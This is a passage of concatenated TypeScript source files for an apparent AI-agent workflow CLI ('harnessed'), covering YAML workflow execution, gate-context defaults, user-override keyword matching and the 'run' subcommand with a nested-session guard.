— plumbed actual workflow name (was hardcoded 'harnessed-run'\n          // pre-Phase 4); falls back to literal when opts.workflowName absent\n          // (preserves Phase 3 behavior for callers that don't pass workflowName).\n          workflowName: opts.workflowName ?? 'harnessed-run',\n          phaseId: skillName,\n          maxIterations: opts?.maxIter ?? RALPH_DEFAULT_MAX_ITER,\n        })\n      }\n      // Fail-soft per ADR 0029 — runtime emits failure but doesn't crash run loop.\n      return {\n        status: 'fail',\n        output:\n          err instanceof MaxIterationsExceededError\n            ? `ralph-loop max-iterations exceeded (${err.iterations}) for ${skillName}`\n            : `sdkSpawn failed for ${skillName}: ${(err as Error).message}`,\n      }\n    }\n\n    const env = JSON.parse(envelopeJson) as {\n      structured_output?: {\n        status?: string\n        // v3.5.0 Phase 2 — Option 1-Lite escalation signal fields (D3).\n        needs_teams_escalation?: boolean\n        escalation_reason?: string\n      }\n      text?: string\n      result?: string\n      subtype?: string\n    }\n    const status: 'ok' | 'fail' =\n      env.structured_output?.status === 'COMPLETE' || env.subtype === 'success' ? 'ok' : 'fail'\n    const escalation = env.structured_output?.needs_teams_escalation === true\n    return {\n      status,\n      output: env.text ?? env.result ?? '',\n      ...(env.structured_output?.status ? { decision: env.structured_output.status } : {}),\n      ...(escalation\n        ? {\n            needsTeamsEscalation: true,\n            ...(env.structured_output?.escalation_reason\n              ? { escalationReason: env.structured_output.escalation_reason }\n              : {}),\n          }\n        : {}),\n    }\n  },\n}\n\nexport interface RunWorkflowOpts {\n  packageRoot?: string\n  gateContext?: Record<string, unknown>\n}\n\n/** Run a workflow YAML to complete / paused-veto / failed (activate before veto per\n *  B-01)。W0.2: master detect → runMasterOrchestrator + disciplines wedge → gateContext。\n *  W1.5: 3 phase-level hook fire point (before-spawn / after-output / before-commit)。 */\nexport async function runWorkflow(\n  yamlPath: string,\n  vars: Record<string, string>,\n  opts: RunWorkflowOpts = {},\n): Promise<WorkflowRunResult> {\n  const parsed = loadPhases(yamlPath, vars)\n  // packageRoot fallback: infer from yaml's parent-of-parent (cwd-swap safe).\n  const yamlDir = dirname(pathResolve(yamlPath))\n  const inferredRoot = pathResolve(yamlDir, '..', '..')\n  const packageRoot = opts.packageRoot ?? inferredRoot\n  // shallow-clone gateContext 避免 mutate caller object (W0.2 加 disciplines)。\n  const gateContext: Record<string, unknown> = { ...(opts.gateContext ?? {}) }\n\n  // Phase 4 — load role-prompts.yaml ONCE per workflow run (cached map for all\n  // phases — NOT per-phase). Fail-soft per ADR 0029: missing yaml or parse error\n  // → empty map (buildAgentDef falls back to conservative 2-field stub).\n  let rolePrompts: Record<string, RolePrompt> = {}\n  try {\n    rolePrompts = await loadRolePrompts(join(packageRoot, 'workflows'))\n  } catch (err) {\n    console.warn(\n      `⚠️ loadRolePrompts failed (${(err as Error).message}); ` +\n        'proceeding without role-prompt enrichment (ADR 0029 fail-soft).',\n    )\n  }\n\n  // W0.2 — master vs sub detect: workflow ∈ 4 master + delegates_to non-empty → delegate。\n  const workflowName = parsed.workflow\n  const isMaster =\n    'delegates_to' in parsed &&\n    Array.isArray(parsed.delegates_to) &&\n    parsed.delegates_to.length > 0 &&\n    MASTER_NAMES.includes(workflowName as MasterName)\n  if (isMaster) {\n    const r = await runMasterOrchestrator(workflowName as MasterName, gateContext, packageRoot)\n    return {\n      status: 'complete',\n      phasesRun: r.fired.length,\n      ...(r.skipped.length > 0 ? { skippedPhases: r.skipped } : {}),\n    }\n  }\n\n  // W0.2 — loadDisciplinesForPhase wedge: v3 sub yaml `disciplines_applied` 消费,\n  // 6 default fallback;v1/v2 yaml 无 field 时 narrow 守 backwards-compat。Fail-soft 沿 ADR 0029。\n  const disciplinesApplied =\n    'disciplines_applied' in parsed && Array.isArray(parsed.disciplines_applied)\n      ? (parsed.disciplines_applied as readonly string[])\n      : undefined\n  try {\n    const disciplines = await loadDisciplinesForPhase(disciplinesApplied, packageRoot)\n    gateContext.disciplines = disciplines\n  } catch (err) {\n    console.warn(\n      `⚠️ loadDisciplinesForPhase failed (${(err as Error).message}); ` +\n        'proceeding without disciplines map (sister ADR 0029 fail-soft).',\n    )\n  }\n\n  const skippedPhases: string[] = []\n  // v3 sub/standalone phases Optional → 守护 fallback;v1/v2 必有 phases (loadPhases validate)。\n  const phases = parsed.phases ?? []\n  for (let i = 0; i < phases.length; i++) {\n    const ph = phases[i]\n    if (!ph) continue\n    await activatePhase(ph.id)\n\n    // W1.5 — before-spawn arbitrate if `invokes_tools.length > 1` (K14 warn-not-halt)。\n    const invokesTools =\n      'invokes_tools' in ph && Array.isArray(ph.invokes_tools) ? ph.invokes_tools : undefined\n    if (invokesTools && invokesTools.length > 1) {\n      try {\n        const firedCaps = invokesTools.map((c) => ({ name: c.tool, tier: c.tool }))\n        await arbitrateBeforeSpawn(firedCaps, packageRoot)\n      } catch (err) {\n        console.warn(\n          `⚠️ phase ${ph.id} before-spawn arbitrate failed (${(err as Error).message}); ` +\n            'proceeding default tool order (K14 warn-not-halt).',\n        )\n      }\n    }\n\n    // D-04 lazy-read governance gate (1 read per phase boundary, NOT polling)。\n    if (await isVetoed()) {\n      await statePause()\n      return { status: 'paused-veto', phasesRun: i, lastPhaseId: ph.id }\n    }\n\n    // v2 `phase.gate` 4-level ref pre-flight。Fail-soft per ADR 0029 (eval throw → warn + 视为 fired=true)。\n    if ('gate' in ph && ph.gate) {\n      let fires = true\n      try {\n        fires = await resolveJudgmentGate(ph.gate, gateContext, packageRoot)\n      } catch (err) {\n        console.warn(\n          `⚠️ phase ${ph.id} gate ${ph.gate} eval failed (${(err as Error).message}); ` +\n            'proceeding with phase as if gate fired=true (ADR 0029 fail-soft).',\n        )\n      }\n      if (!fires) {\n        skippedPhases.push(ph.id)\n        await completePhase({\n          phaseId: ph.id,\n          status: 'complete',\n          lastTask: `phase ${ph.id} skipped: gate ${ph.gate} evaluated false`,\n        })\n        continue\n      }\n    }\n\n    // v1 skills[0] OR v2/v3 phase id 作 skill name dispatch (narrow 'skills' in ph)。\n    const skillName = ('skills' in ph && ph.skills?.[0]) || ph.id\n    // Phase v3.4.4 (Phase 3) — resolve max-iter + extract fallback config from phase yaml\n    // before dispatch; both consumed by _dispatchSkillStub.fn opts to gate ralph-loop wrap.\n    const maxIter = resolveMaxIterations(ph, gateContext)\n    const fallback =\n      'fallback' in ph && ph.fallback?.max_iterations_exceeded\n        ? (ph.fallback.max_iterations_exceeded as FallbackMaxIterationsExceededConfig)\n        : undefined\n    const r = await _dispatchSkillStub.fn(skillName, ph, {\n      maxIter,\n      ...(fallback ? { fallback } : {}),\n      workflowName,\n      rolePrompts,\n      ...(typeof gateContext.modelTierOverride === 'string'\n        ? { modelTierOverride: gateContext.modelTierOverride }\n        : {}),\n    })\n    if (r.status !== 'ok') {\n      return { status: 'failed', phasesRun: i, lastPhaseId: ph.id }\n    }\n\n    // v3.5.0 Phase 2 — Option 1-Lite escalation hint to user (D4). spawned subagent\n    // signaled one of 5 parallelism-gate.yaml agent-teams-upgrade triggers fired.\n    // User in main Claude Code session decides whether to open Agent Teams\n    // (TeamCreate not available to spawned subagents via SDK v0.3.142). Non-blocking;\n    // English-only per D5 default (i18n deferred to v3.6 if user requests).\n    if (r.needsTeamsEscalation === true) {\n      const reason = r.escalationReason ?? 'unspecified trigger'\n      console.error(\n        `⚠️ phase ${ph.id} suggests Agent Teams escalation — ${reason}. ` +\n          'Consider opening a team in your main Claude Code session (TeamCreate) ' +\n          'if continuing this work benefits from teammate coordination. ' +\n          'See workflows/judgments/parallelism-gate.yaml for the 5 upgrade triggers.',\n      )\n    }\n\n    // W1.5 — after-output validate if r.target==='chat' (commit/file target 不应用 output-style)。\n    if (r.target === 'chat') {\n      try {\n        await runAfterOutputHook({\n          responseText: r.output,\n          responseTarget: 'chat',\n          userRequestedEmoji: false,\n          packageRoot,\n        })\n      } catch (err) {\n        console.warn(\n          `⚠️ phase ${ph.id} after-output hook failed (${(err as Error).message}); ` +\n            'proceeding (ADR 0029 fail-soft).',\n        )\n      }\n    }\n\n    // W1.5 — before-commit hook if r.triggers_commit===true (biome-preempt + no-skip-hooks)。\n    // changedFiles + cmdArgs v3.0 WIRED 默认 empty (Phase 3.3+ dogfood 真接 spawn 时 fill)。\n    if (r.triggers_commit === true) {\n      try {\n        await runBeforeCommitHook({\n          changedFiles: [],\n          cmdArgs: [],\n          packageRoot,\n          cmdType: 'git-commit',\n          hasUserApproval: false,\n        })\n      } catch (err) {\n        console.warn(\n          `⚠️ phase ${ph.id} before-commit hook failed (${(err as Error).message}); ` +\n            'proceeding (ADR 0029 fail-soft).',\n        )\n      }\n    }\n\n    await completePhase({\n      phaseId: ph.id,\n      status: 'complete',\n      lastTask: `phase ${ph.id} complete: ${r.output}`,\n    })\n  }\n  return {\n    status: 'complete',\n    phasesRun: phases.length,\n    ...(skippedPhases.length > 0 ? { skippedPhases } : {}),\n  }\n}\n","// src/cli/lib/extract-user-overrides.ts — v3.6.0 Phase 3 Wave 2\n// (P0b 上半 CLI integration).\n//\n// Loads workflows/judgments/user-overrides.yaml (sister Wave 1 schema) and\n// extracts matched trigger gate refs from user task description via\n// case-insensitive substring match. Consumed by src/cli/run.ts:\n//   const overrides = await loadUserOverrides(packageRoot)\n//   const matched = extractMatchedTriggers(task, overrides)\n//   if (matched.length > 0) gateContext.user_overrides = matched\n//\n// Match algorithm: for each override entry, if ANY keyword is a substring\n// (case-insensitive) of userText → include ALL of entry.triggers[] in result.\n// Multiple entries can match the same userText → triggers union deduped.\n//\n// Fail-soft per ADR 0029: missing yaml / parse error / schema invalid → empty\n// array (extract returns []). CLI emits no stderr — silent no-op preserves\n// existing behavior for users who don't use override keywords.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { UserOverridesFile, type UserOverridesFileT } from '../../workflow/schema/judgment.js'\n\nexport interface UserOverrideEntry {\n  id: string\n  keywords: string[]\n  triggers: string[]\n}\n\n/** Load + validate workflows/judgments/user-overrides.yaml. Fail-soft per\n *  ADR 0029: any error (missing file / parse fail / schema reject) → []. */\nexport async function loadUserOverrides(packageRoot: string): Promise<UserOverrideEntry[]> {\n  const yamlPath = resolve(packageRoot, 'workflows', 'judgments', 'user-overrides.yaml')\n  let raw: string\n  try {\n    raw = await readFile(yamlPath, 'utf8')\n  } catch {\n    return []\n  }\n  let parsed: unknown\n  try {\n    parsed = parseYaml(raw)\n  } catch {\n    return []\n  }\n  if (!Value.Check(UserOverridesFile, parsed)) {\n    return []\n  }\n  const valid = parsed as UserOverridesFileT\n  return valid.overrides.map((o) => ({\n    id: o.id,\n    keywords: [...o.keywords],\n    triggers: [...o.triggers],\n  }))\n}\n\n/** Case-insensitive substring match — for each override entry, if ANY keyword\n *  is a substring of userText (after lowercasing both sides) → include ALL of\n *  entry.triggers[]. Result is deduped union of all matched triggers.\n *\n *  Empty userText → empty result (no-op, preserves existing behavior).\n *  Empty overrides → empty result. */\nexport function extractMatchedTriggers(userText: string, overrides: UserOverrideEntry[]): string[] {\n  if (!userText || overrides.length === 0) return []\n  const haystack = userText.toLowerCase()\n  const matched = new Set<string>()\n  for (const entry of overrides) {\n    for (const kw of entry.keywords) {\n      if (haystack.includes(kw.toLowerCase())) {\n        for (const trigger of entry.triggers) matched.add(trigger)\n        break // one keyword hit → all triggers added, no need to check siblings\n      }\n    }\n  }\n  return [...matched]\n}\n","// src/cli/lib/gateContext.ts — single source of truth for the default gate\n// evaluation context (v4.1.2 — extracted from gates.ts + run.ts to kill the\n// verbatim-copy drift risk both reviewers flagged).\n//\n// The CLI can't infer real context from a free-form task string, so defaults\n// bias toward \"treat as important\" → safety-net gates (brainstorming / tdd /\n// paranoid) fire by default. Sub-workflow gate expressions reference phase.* /\n// subtask.* — an undefined variable would throw at expr-eval, so every variable\n// any judgments/*.yaml `fires_when` references MUST exist here.\n\nexport interface DefaultGateContext {\n  task: string\n  user_understanding_unclear: boolean\n  phase: Record<string, unknown>\n  subtask: Record<string, unknown>\n  // v4.1.2 — team-routing facts referenced by judgments.parallelism-gate.\n  // agent-teams-upgrade.fires. Without these the parallelism gate throws on\n  // every eval → escalate_to_teams silently hard-false. Default false (opt-in).\n  teammate_send_message_needed: boolean\n  subagent_context_overflow: boolean\n  shared_task_list: boolean\n  opposing_hypothesis_debate: boolean\n  fullstack_three_way: boolean\n  [key: string]: unknown\n}\n\n/** Build the full default gate context. `stage` seeds `phase.stage`. */\nexport function buildDefaultGateContext(task: string, stage: string): DefaultGateContext {\n  return {\n    task,\n    user_understanding_unclear: false,\n    // v4.1.2 — parallelism-gate.agent-teams-upgrade team-routing facts (default off).\n    teammate_send_message_needed: false,\n    subagent_context_overflow: false,\n    shared_task_list: false,\n    opposing_hypothesis_debate: false,\n    fullstack_three_way: false,\n    phase: {\n      stage,\n      is_critical_module: true,\n      is_final_step: true,\n      is_major_release: false,\n      has_auth_or_secrets: false,\n      has_design_changes: false,\n      has_ui_changes: false,\n      requires_creative_polish: false,\n      is_complex_architecture: true,\n      has_cross_phase_data_flow: true,\n      open_decisions: 2,\n      scope_days: 2,\n      scope_locked_in_history: false,\n      single_task: false,\n      type: 'general',\n    },\n    subtask: {\n      approaches: 2,\n      core_algorithm: true,\n      has_api_contract: true,\n      error_cost: 'high',\n      lines: 50,\n      type: 'general',\n      is_core_business_logic: true,\n      is_algorithm: true,\n      is_data_processing: true,\n      regression_risk: 'high',\n      reliability_required: true,\n      communication_needed: false,\n      needs_lib_docs: false,\n      needs_web_search: false,\n      parallel_count: 1,\n      search_type: 'general',\n      test_type: 'general',\n    },\n  }\n}\n\n/** Merge user `--context` JSON over the defaults. Deep-merges the nested\n *  `phase` / `subtask` objects so a partial override (e.g. flip one phase fact)\n *  does NOT clobber the other defaults — the v4.1.1 shallow Object.assign bug. */\nexport function mergeGateContext(\n  base: DefaultGateContext,\n  extra: Record<string, unknown>,\n): DefaultGateContext {\n  const merged: DefaultGateContext = { ...base }\n  for (const [k, v] of Object.entries(extra)) {\n    if ((k === 'phase' || k === 'subtask') && v && typeof v === 'object' && !Array.isArray(v)) {\n      merged[k] = { ...(base[k] as Record<string, unknown>), ...(v as Record<string, unknown>) }\n    } else {\n      merged[k] = v\n    }\n  }\n  return merged\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n  // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n  // Go up: dist/cli.mjs → dist/ → package root  (2 levels)\n  //        src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n  // We detect which context we're in by checking for the 'dist' segment.\n  const thisFile = fileURLToPath(import.meta.url)\n  const thisDir = dirname(thisFile)\n  // In dist: thisDir = <root>/dist  → up 1\n  // In src:  thisDir = <root>/src/cli/lib → up 3\n  if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n    return resolve(thisDir, '..')\n  }\n  // Source / test context — go up 3\n  return resolve(thisDir, '..', '..', '..')\n}\n","// src/cli/run.ts — v3.4.4 Phase 1 α CLI wire\n//\n// v4.0 STATUS — CI/HEADLESS MODE ONLY. `harnessed run` does an in-process SDK\n// spawn of the whole workflow (masters recurse into sub spawns). It blocks the\n// caller for the full run, bypasses CC-native Agent Teams, and cannot do\n// clarification round-trips (subagents can't ask the user). Therefore the\n// `~/.claude/commands/<name>.md` slash commands NO LONGER call `harnessed run` —\n// they orchestrate CC-native subagent spawns via `harnessed gates` + `harnessed\n// prompt` + `harnessed checkpoint` (see src/cli/lib/generateCommands.ts v4.0).\n// `harnessed run` is retained for CI / scripted / headless contexts where there\n// is no user to ask and blocking is fine.\n//\n// Wires src/workflow/run.ts (the 4 master + 24 sub workflow runtime) into a\n// real subcommand so CI scripts can invoke it via Bash.\n// Replaces the v3.4.3 dual-path body (SlashCommand vapor + Task-spawn fallback\n// that bypassed disciplines + judgments + master orchestration).\n//\n// Phase 1 keeps _dispatchSkillStub.fn from src/workflow/run.ts — actual SDK\n// spawn lands in Phase 2 (extract src/routing/lib/sdkSpawn.ts → src/workflow/\n// lib/sdkSpawn.ts). `--dry-run` here means \"validate the yaml + walk the\n// workflow runtime + exit 0 without invoking the stub\" so users can verify\n// wiring before Phase 2 lands.\n//\n// Phase v3.4.4 (Phase 5) — real getNextHint implementation: reads\n// workflows/auto/workflow.yaml delegates_to[] (lazy module-level cache),\n// resolves direct + parent-stage fallback per D-1 Option C, fail-soft per\n// ADR 0029 (stderr warn + null on yaml read/parse error).\n\nimport { existsSync } from 'node:fs'\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport * as loadPhasesMod from '../workflow/loadPhases.js'\nimport { runWorkflow } from '../workflow/run.js'\nimport { extractMatchedTriggers, loadUserOverrides } from './lib/extract-user-overrides.js'\nimport { buildDefaultGateContext } from './lib/gateContext.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n  task?: string\n  taskStdin?: boolean\n  maxIterations?: number\n  model?: 'haiku' | 'sonnet' | 'opus'\n  dryRun?: boolean\n  staged?: boolean\n  list?: boolean\n  // v3.9.26 Option A — comma-separated sub names whose work was already done\n  // interactively in the main CC session (e.g. clarify). Master orchestrator\n  // skips them without gate eval.\n  skipSub?: string\n}\n\nconst PACKAGE_ROOT = getPackageRoot()\nconst WORKFLOWS_DIR = join(PACKAGE_ROOT, 'workflows')\n\n/** Phase 5 — module-level lazy cache for the 6-stage chain extracted from\n *  workflows/auto/workflow.yaml delegates_to[]. Loaded ONCE per process at\n *  first getNextHint call; `harnessed run` exits after each invocation so\n *  per-process cache lifetime is correct (no invalidation needed). null = not\n *  yet loaded; empty array [] = load attempted but failed (fail-soft —\n *  don't retry). */\nlet _autoChainCache: string[] | null = null\nlet _autoChainLoadFailed = false\n\nexport function registerRun(program: Command): void {\n  program\n    .command('run')\n    .description(\n      'Run a harnessed workflow via in-process SDK spawn (CI/headless mode — blocks, no Agent Teams, no clarification round-trip). Slash commands use CC-native spawn via gates/prompt/checkpoint instead.',\n    )\n    .argument('[name]', 'workflow name (e.g. discuss, verify-paranoid, research, auto)')\n    .option('--task <text>', 'task description (passed as workflow gateContext.task)')\n    .option('--task-stdin', 'read task description from stdin until EOF (avoids shell-escape)')\n    .option(\n      '--max-iterations <n>',\n      'ralph-loop max iter (default 20; honored Phase 3 onward)',\n      (v) => parseInt(v, 10),\n    )\n    .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n    .option(\n      '--dry-run',\n      'validate yaml load + walk runtime without spawning (Phase 1 default for verification)',\n    )\n    .option('--staged', '/auto super-master: pause between stages for user review')\n    .option(\n      '--skip-sub <names>',\n      'comma-separated sub names to skip (work already done interactively in main session, e.g. clarify)',\n    )\n    .option('--list', 'print all known workflow names and exit')\n    .action(async (name: string | undefined, raw: RawOpts) => {\n      if (raw.list) {\n        const names = await listWorkflowNames(WORKFLOWS_DIR)\n        for (const n of names) console.log(n)\n        process.exit(0)\n      }\n      if (!name) {\n        console.error('error: workflow name required (or pass --list to enumerate)')\n        process.exit(2)\n      }\n\n      // P0-B — `name` is a user-controlled positional that flows into\n      // resolveWorkflowYaml path joins; screen for traversal before any path use.\n      try {\n        checkPathSafe(name)\n      } catch {\n        console.error('error: invalid workflow name (path traversal rejected)')\n        process.exit(2)\n        return\n      }\n\n      // Resolve task input — flag > stdin > empty\n      let task = ''\n      if (typeof raw.task === 'string') {\n        task = raw.task\n      } else if (raw.taskStdin) {\n        task = await readStdinToEnd()\n      }\n\n      // Resolve workflow yaml path — 3-tier lookup matches workflows/ layout\n      const yamlPath = await resolveWorkflowYaml(name, WORKFLOWS_DIR)\n      if (!yamlPath) {\n        console.error(\n          `error: workflow '${name}' not found under workflows/. Run \\`harnessed run --list\\` to enumerate.`,\n        )\n        process.exit(2)\n      }\n\n      // v3.6.0 Phase 3 Wave 2 — user-override keyword extraction (P0b 上半).\n      // Substring match against workflows/judgments/user-overrides.yaml keywords[].\n      // Matched trigger gate refs injected into gateContext.user_overrides[]\n      // → judgmentResolver bypass (Wave 1 src/workflow/judgmentResolver.ts) →\n      // gate fires=true regardless of expr eval. Fail-soft per ADR 0029:\n      // loadUserOverrides returns [] on any error; extract returns [] on no\n      // matches → no stderr emit, preserves existing behavior.\n      const overrides = await loadUserOverrides(PACKAGE_ROOT)\n      const matchedTriggers = extractMatchedTriggers(task, overrides)\n      if (matchedTriggers.length > 0) {\n        console.error(\n          `ℹ user-override detected: ${matchedTriggers.length} trigger(s) ` +\n            `forced fires=true via keyword match (${matchedTriggers.join(', ')})`,\n        )\n      }\n\n      // v3.9.22 — full default phase + subtask context. CLI can't infer real\n      // context from a free-form task string, so defaults bias toward \"treat as\n      // important\" → safety-net gates (brainstorming / tdd / paranoid) fire by\n      // default. Sub-workflow gate expressions (workflows/judgments/*.yaml) all\n      // reference phase.* or subtask.* — undefined variable would throw.\n      const stage = name.includes('-') ? (name.split('-')[0] ?? '') : name\n      // v4.1.2 — shared default gate context (single SoT with src/cli/gates.ts;\n      // includes phase.* / subtask.* / user_understanding_unclear + parallelism\n      // team-routing facts). Sub-workflow gate exprs reference these — an\n      // undefined variable would throw at eval.\n      const gateContext: Record<string, unknown> = {\n        ...buildDefaultGateContext(task, stage),\n        ...(raw.model ? { modelOverride: raw.model } : {}),\n        ...(raw.maxIterations ? { maxIterations: raw.maxIterations } : {}),\n        ...(raw.staged ? { staged: true } : {}),\n        // v3.9.26 Option A — skip subs done interactively in main session.\n        ...(typeof raw.skipSub === 'string' && raw.skipSub.length > 0\n          ? {\n              skip_subs: raw.skipSub\n                .split(',')\n                .map((s) => s.trim())\n                .filter((s) => s.length > 0),\n            }\n          : {}),\n        ...(matchedTriggers.length > 0 ? { user_overrides: matchedTriggers } : {}),\n      }\n\n      if (raw.dryRun) {\n        console.log(JSON.stringify({ workflow: name, yamlPath, gateContext }, null, 2))\n        process.exit(0)\n      }\n\n      // issue #1 — nested-CC guard. `harnessed run` does an in-process SDK spawn\n      // (query()) of the whole workflow; invoked from INSIDE a Claude Code session\n      // (e.g. via the Bash tool, non-interactive) the nested spawn cannot acquire\n      // an execution/auth context and HANGS until timeout, or silently no-ops.\n      // The CC-native `/${name}` slash command is the correct path there. Fail-fast\n      // with a pointer instead of reproducing the issue's 108s hang. Override with\n      // HARNESSED_ALLOW_NESTED=1 (CI / e2e legitimately spawn `harnessed run`).\n      if (isNestedHarnessContext()) {\n        console.error(\n          `error: \\`harnessed run\\` is the CI/headless path (in-process SDK spawn) and hangs ` +\n            `when invoked from inside a Claude Code session. Use the CC-native \\`/${name}\\` slash ` +\n            `command instead — it drives subagent spawns via harnessed gates / prompt / checkpoint ` +\n            `(keeps the session responsive, enables Agent Teams, allows clarification round-trips). ` +\n            `Set HARNESSED_ALLOW_NESTED=1 to override (CI / testing only).`,\n        )\n        process.exit(1)\n        return\n      }\n\n      let result: Awaited<ReturnType<typeof runWorkflow>>\n      try {\n        result = await runWorkflow(yamlPath, {}, { packageRoot: PACKAGE_ROOT, gateContext })\n      } catch (err) {\n        console.error(`error: workflow runtime failed — ${(err as Error).message}`)\n        process.exit(1)\n        return\n      }\n      // Print stage-complete + Next: hint (Phase 1 stub; Phase 5 real impl).\n      // Kept OUTSIDE the try/catch so a test harness that mocks `process.exit`\n      // to throw doesn't trip the runtime-failed branch (process.exit normally\n      // terminates; only in tests does it surface as a throwable).\n      const hint = await getNextHint(name)\n      process.stderr.write(`[stage ${name} ${result.status}]\\n`)\n      if (hint) {\n        process.stderr.write(`Next stage: harnessed run ${hint}\\n(In Claude Code: /${hint})\\n`)\n      }\n      process.exit(result.status === 'failed' ? 1 : 0)\n    })\n}\n\n/** issue #1 — detect that `harnessed run` is being invoked from inside an AI\n *  harness session subprocess (the footgun: nested in-process SDK spawn hangs).\n *  True ONLY when: no explicit override AND the active platform exposes a session\n *  id env (Phase 35 seam) AND it is set AND stdin is not an interactive TTY (the\n *  Bash-tool / piped case). A human at a real terminal (TTY) or CI (no session\n *  env) is left alone. */\nfunction isNestedHarnessContext(): boolean {\n  if (process.env.HARNESSED_ALLOW_NESTED === '1') return false\n  const sessEnv = detectPlatform().sessionIdEnv\n  if (!sessEnv) return false\n  const sid = process.env[sessEnv]?.trim()\n  if (!sid) return false\n  return !process.stdin.isTTY\n}\n\n/** 3-tier lookup matches workflows/ layout:\n *    1. workflows/<name>/workflow.yaml             (research, retro, auto top-level)\n *    2. workflows/<name>/auto/workflow.yaml        (4 stage-masters: discuss/plan/task/verify)\n *    3. workflows/<stage>/<sub>/workflow.yaml      (24 subs; <name> = '<stage>-<sub>' OR '<sub>')\n *\n * Sub names by convention flatten to `<stage>-<sub>` (e.g. 'verify-paranoid'\n * → workflows/verify/paranoid/workflow.yaml). Split on the FIRST dash to\n * derive (stage, sub). If `<name>` has no dash, only tiers 1 + 2 apply.\n */\nexport async function resolveWorkflowYaml(\n  name: string,\n  workflowsDir: string,\n): Promise<string | null> {\n  // Tier 1: top-level standalone\n  const tier1 = join(workflowsDir, name, 'workflow.yaml')\n  if (existsSync(tier1)) return tier1\n  // Tier 2: stage-master auto\n  const tier2 = join(workflowsDir, name, 'auto', 'workflow.yaml')\n  if (existsSync(tier2)) return tier2\n  // Tier 3: split on first dash\n  const dashIdx = name.indexOf('-')\n  if (dashIdx > 0) {\n    const stage = name.slice(0, dashIdx)\n    const sub = name.slice(dashIdx + 1)\n    const tier3 = join(workflowsDir, stage, sub, 'workflow.yaml')\n    if (existsSync(tier3)) return tier3\n  }\n  return null\n}\n\nexport async function listWorkflowNames(workflowsDir: string): Promise<string[]> {\n  const names: string[] = []\n  const entries = await readdir(workflowsDir)\n  for (const e of entries.sort()) {\n    const p = join(workflowsDir, e)\n    const s = await stat(p).catch(() => null)\n    if (!s?.isDirectory()) continue\n    // Tier 1: top-level workflow.yaml\n    if (await fileExists(join(p, 'workflow.yaml'))) {\n      names.push(e)\n      continue\n    }\n    // Tier 2: stage with auto/workflow.yaml → list `<stage>` + subs\n    if (await fileExists(join(p, 'auto', 'workflow.yaml'))) {\n      names.push(e)\n      const subs = await readdir(p).catch(() => [])\n      for (const sub of subs.sort()) {\n        if (sub === 'auto') continue\n        if (await fileExists(join(p, sub, 'workflow.yaml'))) {\n          names.push(`${e}-${sub}`)\n        }\n      }\n    }\n  }\n  return names\n}\n\nasync function fileExists(path: string): Promise<boolean> {\n  return stat(path)\n    .then(() => true)\n    .catch(() => false)\n}\n\nasync function readStdinToEnd(): Promise<string> {\n  const chunks: Buffer[] = []\n  for await (const chunk of process.stdin) {\n    chunks.push(Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk))\n  }\n  return Buffer.concat(chunks).toString('utf8').trim()\n}\n\n/** Phase 5 — load workflows/auto/workflow.yaml delegates_to[] sorted by\n *  `order`, return the 6-stage chain as a string[]. Lazy cached at module\n *  level. Fail-soft per ADR 0029: read/parse error → set\n *  _autoChainLoadFailed + emit 1-line stderr warn + return []. */\nfunction loadAutoChain(): string[] {\n  if (_autoChainCache !== null) return _autoChainCache\n  if (_autoChainLoadFailed) return []\n  try {\n    const yamlPath = join(WORKFLOWS_DIR, 'auto', 'workflow.yaml')\n    const parsed = loadPhasesMod.loadPhases(yamlPath)\n    const delegates =\n      'delegates_to' in parsed && Array.isArray(parsed.delegates_to) ? parsed.delegates_to : []\n    const sorted = [...delegates].sort((a, b) => {\n      const ao = typeof a.order === 'number' ? a.order : Number.MAX_SAFE_INTEGER\n      const bo = typeof b.order === 'number' ? b.order : Number.MAX_SAFE_INTEGER\n      return ao - bo\n    })\n    _autoChainCache = sorted.map((d) => d.sub).filter((s): s is string => typeof s === 'string')\n    return _autoChainCache\n  } catch (err) {\n    _autoChainLoadFailed = true\n    process.stderr.write(`⚠️ getNextHint failed (${(err as Error).message}); skipping hint.\\n`)\n    return []\n  }\n}\n\n/** Phase 5 — return the next stage name in the 6-stage auto chain for the\n *  passed workflowName. Resolution chain (D-1 Option C):\n *    1. Direct: `workflowName` ∈ chain → return next-in-order (or null if last).\n *    2. Parent-stage fallback: split on FIRST dash → parent stage (e.g.\n *       'verify-paranoid' → 'verify') → if parent in chain, return\n *       next-after-parent (or null if parent is last).\n *    3. 'auto' super-master OR unresolvable → null (whole chain runs / no hint).\n *\n *  Cache: loadAutoChain() is lazy (1 load per process). Fail-soft per ADR 0029. */\nexport async function getNextHint(workflowName: string): Promise<string | null> {\n  if (workflowName === 'auto') return null\n  const chain = loadAutoChain()\n  if (chain.length === 0) return null // load failed or empty delegates\n  // Direct lookup\n  const directIdx = chain.indexOf(workflowName)\n  if (directIdx >= 0) {\n    return directIdx + 1 < chain.length ? (chain[directIdx + 1] ?? null) : null\n  }\n  // Parent-stage fallback (D-1 Option C): split on FIRST dash\n  const dashIdx = workflowName.indexOf('-')\n  if (dashIdx > 0) {\n    const parentStage = workflowName.slice(0, dashIdx)\n    const parentIdx = chain.indexOf(parentStage)\n    if (parentIdx >= 0) {\n      return parentIdx + 1 < chain.length ? (chain[parentIdx + 1] ?? null) : null\n    }\n  }\n  return null\n}\n\n/** 